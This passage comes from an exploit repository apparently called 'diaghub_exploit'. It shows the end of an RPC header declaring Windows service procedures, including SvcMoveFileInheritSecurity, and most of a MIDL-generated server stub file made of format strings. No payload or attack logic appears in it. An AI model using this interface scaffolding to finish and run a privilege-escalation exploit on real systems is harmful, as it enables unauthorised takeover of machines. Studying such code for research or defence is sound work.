193 | /* [in] */ handle_t IDL_handle,
194 | /* [in] */ struct Struct_90_t *arg_1);
195 |
196 | long Proc13(
197 | /* [in] */ handle_t IDL_handle,
198 | /* [in] */ short arg_1,
199 | /* [in] */ long arg_2);
200 |
201 | __int3264 SvcMoveFileInheritSecurity(
202 | /* [in] */ handle_t IDL_handle,
203 | /* [string][in] */ wchar_t *src,
204 | /* [string][in] */ wchar_t *dest,
205 | /* [in] */ long flags);
206 |
207 | long Proc15(
208 | /* [in] */ handle_t IDL_handle,
209 | /* [in] */ short arg_1,
210 | /* [in] */ long arg_2,
211 | /* [out][in] */ struct Struct_112_t *arg_3);
212 |
213 | long Proc16(
214 | /* [in] */ handle_t IDL_handle);
215 |
216 | long Proc17(
217 | /* [in] */ handle_t IDL_handle,
218 | /* [in] */ short arg_1,
219 | /* [in] */ long arg_2);
220 |
221 | long Proc18(
222 | /* [in] */ handle_t IDL_handle,
223 | /* [in] */ short arg_1,
224 | /* [out] */ long *arg_2);
225 |
226 | long Proc19(
227 | /* [in] */ handle_t IDL_handle,
228 | /* [in] */ short arg_1,
229 | /* [string][unique][in] */ wchar_t *arg_2,
230 | /* [out] */ long *arg_3);
231 |
232 | long Proc20(
233 | /* [in] */ handle_t IDL_handle,
234 | /* [in] */ short arg_1,
235 | /* [string][unique][in] */ wchar_t *arg_2,
236 | /* [in] */ long arg_3);
237 |
238 | long Proc21(
239 | /* [in] */ handle_t IDL_handle,
240 | /* [out][in] */ struct Struct_134_t *arg_1);
241 |
242 |
243 |
244 | extern RPC_IF_HANDLE DefaultIfName_v0_0_c_ifspec;
245 | extern RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec;
246 | #endif /* __DefaultIfName_INTERFACE_DEFINED__ */
247 |
248 | /* Additional Prototypes for ALL interfaces */
249 |
250 | /* end of Additional Prototypes */
251 |
252 | #ifdef __cplusplus
253 | }
254 | #endif
255 |
256 | #endif
257 |
258 |
259 |
--------------------------------------------------------------------------------
/diaghub_exploit/rpc_s.c:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the RPC server stubs */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Tue Jan 19 04:14:07 2038
8 | */
9 | /* Compiler settings for rpc.idl:
10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
11 | protocol : all , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 | #if defined(_M_AMD64)
20 |
21 |
22 | #if _MSC_VER >= 1200
23 | #pragma warning(push)
24 | #endif
25 |
26 | #pragma warning( disable: 4211 ) /* redefine extern to static */
27 | #pragma warning( disable: 4232 ) /* dllimport identity*/
28 | #pragma warning( disable: 4024 ) /* array to pointer mapping*/
29 |
30 | #include
31 | #include "rpc_h.h"
32 |
33 | #define TYPE_FORMAT_STRING_SIZE 149
34 | #define PROC_FORMAT_STRING_SIZE 1123
35 | #define EXPR_FORMAT_STRING_SIZE 1
36 | #define TRANSMIT_AS_TABLE_SIZE 0
37 | #define WIRE_MARSHAL_TABLE_SIZE 0
38 |
39 | typedef struct _rpc_MIDL_TYPE_FORMAT_STRING
40 | {
41 | short Pad;
42 | unsigned char Format[ TYPE_FORMAT_STRING_SIZE ];
43 | } rpc_MIDL_TYPE_FORMAT_STRING;
44 |
45 | typedef struct _rpc_MIDL_PROC_FORMAT_STRING
46 | {
47 | short Pad;
48 | unsigned char Format[ PROC_FORMAT_STRING_SIZE ];
49 | } rpc_MIDL_PROC_FORMAT_STRING;
50 |
51 | typedef struct _rpc_MIDL_EXPR_FORMAT_STRING
52 | {
53 | long Pad;
54 | unsigned char Format[ EXPR_FORMAT_STRING_SIZE ];
55 | } rpc_MIDL_EXPR_FORMAT_STRING;
56 |
57 |
58 | static const RPC_SYNTAX_IDENTIFIER _RpcTransferSyntax =
59 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};
60 |
61 | static const RPC_SYNTAX_IDENTIFIER _NDR64_RpcTransferSyntax =
62 | {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}};
63 |
64 |
65 | extern const rpc_MIDL_TYPE_FORMAT_STRING rpc__MIDL_TypeFormatString;
66 | extern const rpc_MIDL_PROC_FORMAT_STRING rpc__MIDL_ProcFormatString;
67 | extern const rpc_MIDL_EXPR_FORMAT_STRING rpc__MIDL_ExprFormatString;
68 |
69 | /* Standard interface: DefaultIfName, ver. 0.0,
70 | GUID={0xbe7f785e,0x0e3a,0x4ab7,{0x91,0xde,0x7e,0x46,0xe4,0x43,0xbe,0x29}} */
71 |
72 |
73 | extern const MIDL_SERVER_INFO DefaultIfName_ServerInfo;
74 |
75 | extern const RPC_DISPATCH_TABLE DefaultIfName_v0_0_DispatchTable;
76 |
77 | static const RPC_SERVER_INTERFACE DefaultIfName___RpcServerInterface =
78 | {
79 | sizeof(RPC_SERVER_INTERFACE),
80 | {{0xbe7f785e,0x0e3a,0x4ab7,{0x91,0xde,0x7e,0x46,0xe4,0x43,0xbe,0x29}},{0,0}},
81 | {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
82 | (RPC_DISPATCH_TABLE*)&DefaultIfName_v0_0_DispatchTable,
83 | 0,
84 | 0,
85 | 0,
86 | &DefaultIfName_ServerInfo,
87 | 0x06000000
88 | };
89 | RPC_IF_HANDLE DefaultIfName_v0_0_s_ifspec = (RPC_IF_HANDLE)& DefaultIfName___RpcServerInterface;
90 |
91 | extern const MIDL_STUB_DESC DefaultIfName_StubDesc;
92 |
93 |
94 | #if !defined(__RPC_WIN64__)
95 | #error Invalid build platform for this stub.
96 | #endif
97 |
98 | static const rpc_MIDL_PROC_FORMAT_STRING rpc__MIDL_ProcFormatString =
99 | {
100 | 0,
101 | {
102 |
103 | /* Procedure Proc0 */
104 |
105 | 0x0, /* 0 */
106 | 0x48, /* Old Flags: */
107 | /* 2 */ NdrFcLong( 0x0 ), /* 0 */
108 | /* 6 */ NdrFcShort( 0x0 ), /* 0 */
109 | /* 8 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
110 | /* 10 */ 0x32, /* FC_BIND_PRIMITIVE */
111 | 0x0, /* 0 */
112 | /* 12 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
113 | /* 14 */ NdrFcShort( 0x16 ), /* 22 */
114 | /* 16 */ NdrFcShort( 0x8 ), /* 8 */
115 | /* 18 */ 0x44, /* Oi2 Flags: has return, has ext, */
116 | 0x4, /* 4 */
117 | /* 20 */ 0xa, /* 10 */
118 | 0x1, /* Ext Flags: new corr desc, */
119 | /* 22 */ NdrFcShort( 0x0 ), /* 0 */
120 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */
121 | /* 26 */ NdrFcShort( 0x0 ), /* 0 */
122 | /* 28 */ NdrFcShort( 0x0 ), /* 0 */
123 |
124 | /* Parameter arg_1 */
125 |
126 | /* 30 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
127 | /* 32 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
128 | /* 34 */ 0x6, /* FC_SHORT */
129 | 0x0, /* 0 */
130 |
131 | /* Parameter arg_2 */
132 |
133 | /* 36 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
134 | /* 38 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
135 | /* 40 */ 0x8, /* FC_LONG */
136 | 0x0, /* 0 */
137 |
138 | /* Parameter arg_3 */
139 |
140 | /* 42 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
141 | /* 44 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
142 | /* 46 */ 0x8, /* FC_LONG */
143 | 0x0, /* 0 */
144 |
145 | /* Return value */
146 |
147 | /* 48 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
148 | /* 50 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
149 | /* 52 */ 0x8, /* FC_LONG */
150 | 0x0, /* 0 */
151 |
152 | /* Procedure Proc1 */
153 |
154 | /* 54 */ 0x0, /* 0 */
155 | 0x48, /* Old Flags: */
156 | /* 56 */ NdrFcLong( 0x0 ), /* 0 */
157 | /* 60 */ NdrFcShort( 0x1 ), /* 1 */
158 | /* 62 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
159 | /* 64 */ 0x32, /* FC_BIND_PRIMITIVE */
160 | 0x0, /* 0 */
161 | /* 66 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
162 | /* 68 */ NdrFcShort( 0x16 ), /* 22 */
163 | /* 70 */ NdrFcShort( 0x8 ), /* 8 */
164 | /* 72 */ 0x44, /* Oi2 Flags: has return, has ext, */
165 | 0x4, /* 4 */
166 | /* 74 */ 0xa, /* 10 */
167 | 0x1, /* Ext Flags: new corr desc, */
168 | /* 76 */ NdrFcShort( 0x0 ), /* 0 */
169 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */
170 | /* 80 */ NdrFcShort( 0x0 ), /* 0 */
171 | /* 82 */ NdrFcShort( 0x0 ), /* 0 */
172 |
173 | /* Parameter arg_1 */
174 |
175 | /* 84 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
176 | /* 86 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
177 | /* 88 */ 0x6, /* FC_SHORT */
178 | 0x0, /* 0 */
179 |
180 | /* Parameter arg_2 */
181 |
182 | /* 90 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
183 | /* 92 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
184 | /* 94 */ 0x8, /* FC_LONG */
185 | 0x0, /* 0 */
186 |
187 | /* Parameter arg_3 */
188 |
189 | /* 96 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
190 | /* 98 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
191 | /* 100 */ 0x8, /* FC_LONG */
192 | 0x0, /* 0 */
193 |
194 | /* Return value */
195 |
196 | /* 102 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
197 | /* 104 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
198 | /* 106 */ 0x8, /* FC_LONG */
199 | 0x0, /* 0 */
200 |
201 | /* Procedure Proc2 */
202 |
203 | /* 108 */ 0x0, /* 0 */
204 | 0x48, /* Old Flags: */
205 | /* 110 */ NdrFcLong( 0x0 ), /* 0 */
206 | /* 114 */ NdrFcShort( 0x2 ), /* 2 */
207 | /* 116 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
208 | /* 118 */ 0x32, /* FC_BIND_PRIMITIVE */
209 | 0x0, /* 0 */
210 | /* 120 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
211 | /* 122 */ NdrFcShort( 0x16 ), /* 22 */
212 | /* 124 */ NdrFcShort( 0x8 ), /* 8 */
213 | /* 126 */ 0x44, /* Oi2 Flags: has return, has ext, */
214 | 0x4, /* 4 */
215 | /* 128 */ 0xa, /* 10 */
216 | 0x1, /* Ext Flags: new corr desc, */
217 | /* 130 */ NdrFcShort( 0x0 ), /* 0 */
218 | /* 132 */ NdrFcShort( 0x0 ), /* 0 */
219 | /* 134 */ NdrFcShort( 0x0 ), /* 0 */
220 | /* 136 */ NdrFcShort( 0x0 ), /* 0 */
221 |
222 | /* Parameter arg_1 */
223 |
224 | /* 138 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
225 | /* 140 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
226 | /* 142 */ 0x6, /* FC_SHORT */
227 | 0x0, /* 0 */
228 |
229 | /* Parameter arg_2 */
230 |
231 | /* 144 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
232 | /* 146 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
233 | /* 148 */ 0x8, /* FC_LONG */
234 | 0x0, /* 0 */
235 |
236 | /* Parameter arg_3 */
237 |
238 | /* 150 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
239 | /* 152 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
240 | /* 154 */ 0x8, /* FC_LONG */
241 | 0x0, /* 0 */
242 |
243 | /* Return value */
244 |
245 | /* 156 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
246 | /* 158 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
247 | /* 160 */ 0x8, /* FC_LONG */
248 | 0x0, /* 0 */
249 |
250 | /* Procedure Proc3 */
251 |
252 | /* 162 */ 0x0, /* 0 */
253 | 0x48, /* Old Flags: */
254 | /* 164 */ NdrFcLong( 0x0 ), /* 0 */
255 | /* 168 */ NdrFcShort( 0x3 ), /* 3 */
256 | /* 170 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
257 | /* 172 */ 0x32, /* FC_BIND_PRIMITIVE */
258 | 0x0, /* 0 */
259 | /* 174 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
260 | /* 176 */ NdrFcShort( 0x6 ), /* 6 */
261 | /* 178 */ NdrFcShort( 0x24 ), /* 36 */
262 | /* 180 */ 0x44, /* Oi2 Flags: has return, has ext, */
263 | 0x3, /* 3 */
264 | /* 182 */ 0xa, /* 10 */
265 | 0x1, /* Ext Flags: new corr desc, */
266 | /* 184 */ NdrFcShort( 0x0 ), /* 0 */
267 | /* 186 */ NdrFcShort( 0x0 ), /* 0 */
268 | /* 188 */ NdrFcShort( 0x0 ), /* 0 */
269 | /* 190 */ NdrFcShort( 0x0 ), /* 0 */
270 |
271 | /* Parameter arg_1 */
272 |
273 | /* 192 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
274 | /* 194 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
275 | /* 196 */ 0x6, /* FC_SHORT */
276 | 0x0, /* 0 */
277 |
278 | /* Parameter arg_2 */
279 |
280 | /* 198 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
281 | /* 200 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
282 | /* 202 */ 0x8, /* FC_LONG */
283 | 0x0, /* 0 */
284 |
285 | /* Return value */
286 |
287 | /* 204 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
288 | /* 206 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
289 | /* 208 */ 0x8, /* FC_LONG */
290 | 0x0, /* 0 */
291 |
292 | /* Procedure Proc4 */
293 |
294 | /* 210 */ 0x0, /* 0 */
295 | 0x48, /* Old Flags: */
296 | /* 212 */ NdrFcLong( 0x0 ), /* 0 */
297 | /* 216 */ NdrFcShort( 0x4 ), /* 4 */
298 | /* 218 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
299 | /* 220 */ 0x32, /* FC_BIND_PRIMITIVE */
300 | 0x0, /* 0 */
301 | /* 222 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
302 | /* 224 */ NdrFcShort( 0x4ba ), /* 1210 */
303 | /* 226 */ NdrFcShort( 0x4b4 ), /* 1204 */
304 | /* 228 */ 0x44, /* Oi2 Flags: has return, has ext, */
305 | 0x4, /* 4 */
306 | /* 230 */ 0xa, /* 10 */
307 | 0x1, /* Ext Flags: new corr desc, */
308 | /* 232 */ NdrFcShort( 0x0 ), /* 0 */
309 | /* 234 */ NdrFcShort( 0x0 ), /* 0 */
310 | /* 236 */ NdrFcShort( 0x0 ), /* 0 */
311 | /* 238 */ NdrFcShort( 0x0 ), /* 0 */
312 |
313 | /* Parameter arg_1 */
314 |
315 | /* 240 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
316 | /* 242 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
317 | /* 244 */ 0x6, /* FC_SHORT */
318 | 0x0, /* 0 */
319 |
320 | /* Parameter arg_2 */
321 |
322 | /* 246 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
323 | /* 248 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
324 | /* 250 */ 0x8, /* FC_LONG */
325 | 0x0, /* 0 */
326 |
327 | /* Parameter arg_3 */
328 |
329 | /* 252 */ NdrFcShort( 0x11a ), /* Flags: must free, in, out, simple ref, */
330 | /* 254 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
331 | /* 256 */ NdrFcShort( 0x22 ), /* Type Offset=34 */
332 |
333 | /* Return value */
334 |
335 | /* 258 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
336 | /* 260 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
337 | /* 262 */ 0x8, /* FC_LONG */
338 | 0x0, /* 0 */
339 |
340 | /* Procedure Proc5 */
341 |
342 | /* 264 */ 0x0, /* 0 */
343 | 0x48, /* Old Flags: */
344 | /* 266 */ NdrFcLong( 0x0 ), /* 0 */
345 | /* 270 */ NdrFcShort( 0x5 ), /* 5 */
346 | /* 272 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
347 | /* 274 */ 0x32, /* FC_BIND_PRIMITIVE */
348 | 0x0, /* 0 */
349 | /* 276 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
350 | /* 278 */ NdrFcShort( 0x14 ), /* 20 */
351 | /* 280 */ NdrFcShort( 0x44 ), /* 68 */
352 | /* 282 */ 0x44, /* Oi2 Flags: has return, has ext, */
353 | 0x5, /* 5 */
354 | /* 284 */ 0xa, /* 10 */
355 | 0x1, /* Ext Flags: new corr desc, */
356 | /* 286 */ NdrFcShort( 0x0 ), /* 0 */
357 | /* 288 */ NdrFcShort( 0x0 ), /* 0 */
358 | /* 290 */ NdrFcShort( 0x0 ), /* 0 */
359 | /* 292 */ NdrFcShort( 0x0 ), /* 0 */
360 |
361 | /* Parameter arg_1 */
362 |
363 | /* 294 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
364 | /* 296 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
365 | /* 298 */ 0x6, /* FC_SHORT */
366 | 0x0, /* 0 */
367 |
368 | /* Parameter arg_2 */
369 |
370 | /* 300 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
371 | /* 302 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
372 | /* 304 */ 0x6, /* FC_SHORT */
373 | 0x0, /* 0 */
374 |
375 | /* Parameter arg_3 */
376 |
377 | /* 306 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
378 | /* 308 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
379 | /* 310 */ 0x8, /* FC_LONG */
380 | 0x0, /* 0 */
381 |
382 | /* Parameter arg_4 */
383 |
384 | /* 312 */ NdrFcShort( 0x2112 ), /* Flags: must free, out, simple ref, srv alloc size=8 */
385 | /* 314 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
386 | /* 316 */ NdrFcShort( 0x48 ), /* Type Offset=72 */
387 |
388 | /* Return value */
389 |
390 | /* 318 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
391 | /* 320 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
392 | /* 322 */ 0x8, /* FC_LONG */
393 | 0x0, /* 0 */
394 |
395 | /* Procedure Proc6 */
396 |
397 | /* 324 */ 0x0, /* 0 */
398 | 0x48, /* Old Flags: */
399 | /* 326 */ NdrFcLong( 0x0 ), /* 0 */
400 | /* 330 */ NdrFcShort( 0x6 ), /* 6 */
401 | /* 332 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
402 | /* 334 */ 0x32, /* FC_BIND_PRIMITIVE */
403 | 0x0, /* 0 */
404 | /* 336 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
405 | /* 338 */ NdrFcShort( 0x18 ), /* 24 */
406 | /* 340 */ NdrFcShort( 0x8 ), /* 8 */
407 | /* 342 */ 0x44, /* Oi2 Flags: has return, has ext, */
408 | 0x4, /* 4 */
409 | /* 344 */ 0xa, /* 10 */
410 | 0x1, /* Ext Flags: new corr desc, */
411 | /* 346 */ NdrFcShort( 0x0 ), /* 0 */
412 | /* 348 */ NdrFcShort( 0x0 ), /* 0 */
413 | /* 350 */ NdrFcShort( 0x0 ), /* 0 */
414 | /* 352 */ NdrFcShort( 0x0 ), /* 0 */
415 |
416 | /* Parameter arg_1 */
417 |
418 | /* 354 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
419 | /* 356 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
420 | /* 358 */ 0x8, /* FC_LONG */
421 | 0x0, /* 0 */
422 |
423 | /* Parameter arg_2 */
424 |
425 | /* 360 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
426 | /* 362 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
427 | /* 364 */ 0x8, /* FC_LONG */
428 | 0x0, /* 0 */
429 |
430 | /* Parameter arg_3 */
431 |
432 | /* 366 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
433 | /* 368 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
434 | /* 370 */ 0x8, /* FC_LONG */
435 | 0x0, /* 0 */
436 |
437 | /* Return value */
438 |
439 | /* 372 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
440 | /* 374 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
441 | /* 376 */ 0x8, /* FC_LONG */
442 | 0x0, /* 0 */
443 |
444 | /* Procedure Proc7 */
445 |
446 | /* 378 */ 0x0, /* 0 */
447 | 0x48, /* Old Flags: */
448 | /* 380 */ NdrFcLong( 0x0 ), /* 0 */
449 | /* 384 */ NdrFcShort( 0x7 ), /* 7 */
450 | /* 386 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
451 | /* 388 */ 0x32, /* FC_BIND_PRIMITIVE */
452 | 0x0, /* 0 */
453 | /* 390 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
454 | /* 392 */ NdrFcShort( 0x10 ), /* 16 */
455 | /* 394 */ NdrFcShort( 0x8 ), /* 8 */
456 | /* 396 */ 0x44, /* Oi2 Flags: has return, has ext, */
457 | 0x3, /* 3 */
458 | /* 398 */ 0xa, /* 10 */
459 | 0x1, /* Ext Flags: new corr desc, */
460 | /* 400 */ NdrFcShort( 0x0 ), /* 0 */
461 | /* 402 */ NdrFcShort( 0x0 ), /* 0 */
462 | /* 404 */ NdrFcShort( 0x0 ), /* 0 */
463 | /* 406 */ NdrFcShort( 0x0 ), /* 0 */
464 |
465 | /* Parameter arg_1 */
466 |
467 | /* 408 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
468 | /* 410 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
469 | /* 412 */ 0x8, /* FC_LONG */
470 | 0x0, /* 0 */
471 |
472 | /* Parameter arg_2 */
473 |
474 | /* 414 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
475 | /* 416 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
476 | /* 418 */ 0x8, /* FC_LONG */
477 | 0x0, /* 0 */
478 |
479 | /* Return value */
480 |
481 | /* 420 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
482 | /* 422 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
483 | /* 424 */ 0x8, /* FC_LONG */
484 | 0x0, /* 0 */
485 |
486 | /* Procedure Proc8 */
487 |
488 | /* 426 */ 0x0, /* 0 */
489 | 0x48, /* Old Flags: */
490 | /* 428 */ NdrFcLong( 0x0 ), /* 0 */
491 | /* 432 */ NdrFcShort( 0x8 ), /* 8 */
492 | /* 434 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
493 | /* 436 */ 0x32, /* FC_BIND_PRIMITIVE */
494 | 0x0, /* 0 */
495 | /* 438 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
496 | /* 440 */ NdrFcShort( 0x10 ), /* 16 */
497 | /* 442 */ NdrFcShort( 0x8 ), /* 8 */
498 | /* 444 */ 0x44, /* Oi2 Flags: has return, has ext, */
499 | 0x3, /* 3 */
500 | /* 446 */ 0xa, /* 10 */
501 | 0x1, /* Ext Flags: new corr desc, */
502 | /* 448 */ NdrFcShort( 0x0 ), /* 0 */
503 | /* 450 */ NdrFcShort( 0x0 ), /* 0 */
504 | /* 452 */ NdrFcShort( 0x0 ), /* 0 */
505 | /* 454 */ NdrFcShort( 0x0 ), /* 0 */
506 |
507 | /* Parameter arg_1 */
508 |
509 | /* 456 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
510 | /* 458 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
511 | /* 460 */ 0x8, /* FC_LONG */
512 | 0x0, /* 0 */
513 |
514 | /* Parameter arg_2 */
515 |
516 | /* 462 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
517 | /* 464 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
518 | /* 466 */ 0x8, /* FC_LONG */
519 | 0x0, /* 0 */
520 |
521 | /* Return value */
522 |
523 | /* 468 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
524 | /* 470 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
525 | /* 472 */ 0x8, /* FC_LONG */
526 | 0x0, /* 0 */
527 |
528 | /* Procedure Proc9 */
529 |
530 | /* 474 */ 0x0, /* 0 */
531 | 0x48, /* Old Flags: */
532 | /* 476 */ NdrFcLong( 0x0 ), /* 0 */
533 | /* 480 */ NdrFcShort( 0x9 ), /* 9 */
534 | /* 482 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
535 | /* 484 */ 0x32, /* FC_BIND_PRIMITIVE */
536 | 0x0, /* 0 */
537 | /* 486 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
538 | /* 488 */ NdrFcShort( 0xe ), /* 14 */
539 | /* 490 */ NdrFcShort( 0x8 ), /* 8 */
540 | /* 492 */ 0x44, /* Oi2 Flags: has return, has ext, */
541 | 0x3, /* 3 */
542 | /* 494 */ 0xa, /* 10 */
543 | 0x1, /* Ext Flags: new corr desc, */
544 | /* 496 */ NdrFcShort( 0x0 ), /* 0 */
545 | /* 498 */ NdrFcShort( 0x0 ), /* 0 */
546 | /* 500 */ NdrFcShort( 0x0 ), /* 0 */
547 | /* 502 */ NdrFcShort( 0x0 ), /* 0 */
548 |
549 | /* Parameter arg_1 */
550 |
551 | /* 504 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
552 | /* 506 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
553 | /* 508 */ 0x6, /* FC_SHORT */
554 | 0x0, /* 0 */
555 |
556 | /* Parameter arg_2 */
557 |
558 | /* 510 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
559 | /* 512 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
560 | /* 514 */ 0x8, /* FC_LONG */
561 | 0x0, /* 0 */
562 |
563 | /* Return value */
564 |
565 | /* 516 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
566 | /* 518 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
567 | /* 520 */ 0x8, /* FC_LONG */
568 | 0x0, /* 0 */
569 |
570 | /* Procedure Proc10 */
571 |
572 | /* 522 */ 0x0, /* 0 */
573 | 0x48, /* Old Flags: */
574 | /* 524 */ NdrFcLong( 0x0 ), /* 0 */
575 | /* 528 */ NdrFcShort( 0xa ), /* 10 */
576 | /* 530 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
577 | /* 532 */ 0x32, /* FC_BIND_PRIMITIVE */
578 | 0x0, /* 0 */
579 | /* 534 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
580 | /* 536 */ NdrFcShort( 0x14 ), /* 20 */
581 | /* 538 */ NdrFcShort( 0x24 ), /* 36 */
582 | /* 540 */ 0x44, /* Oi2 Flags: has return, has ext, */
583 | 0x5, /* 5 */
584 | /* 542 */ 0xa, /* 10 */
585 | 0x1, /* Ext Flags: new corr desc, */
586 | /* 544 */ NdrFcShort( 0x0 ), /* 0 */
587 | /* 546 */ NdrFcShort( 0x0 ), /* 0 */
588 | /* 548 */ NdrFcShort( 0x0 ), /* 0 */
589 | /* 550 */ NdrFcShort( 0x0 ), /* 0 */
590 |
591 | /* Parameter arg_1 */
592 |
593 | /* 552 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
594 | /* 554 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
595 | /* 556 */ 0x6, /* FC_SHORT */
596 | 0x0, /* 0 */
597 |
598 | /* Parameter arg_2 */
599 |
600 | /* 558 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
601 | /* 560 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
602 | /* 562 */ 0x8, /* FC_LONG */
603 | 0x0, /* 0 */
604 |
605 | /* Parameter arg_3 */
606 |
607 | /* 564 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
608 | /* 566 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
609 | /* 568 */ 0x6, /* FC_SHORT */
610 | 0x0, /* 0 */
611 |
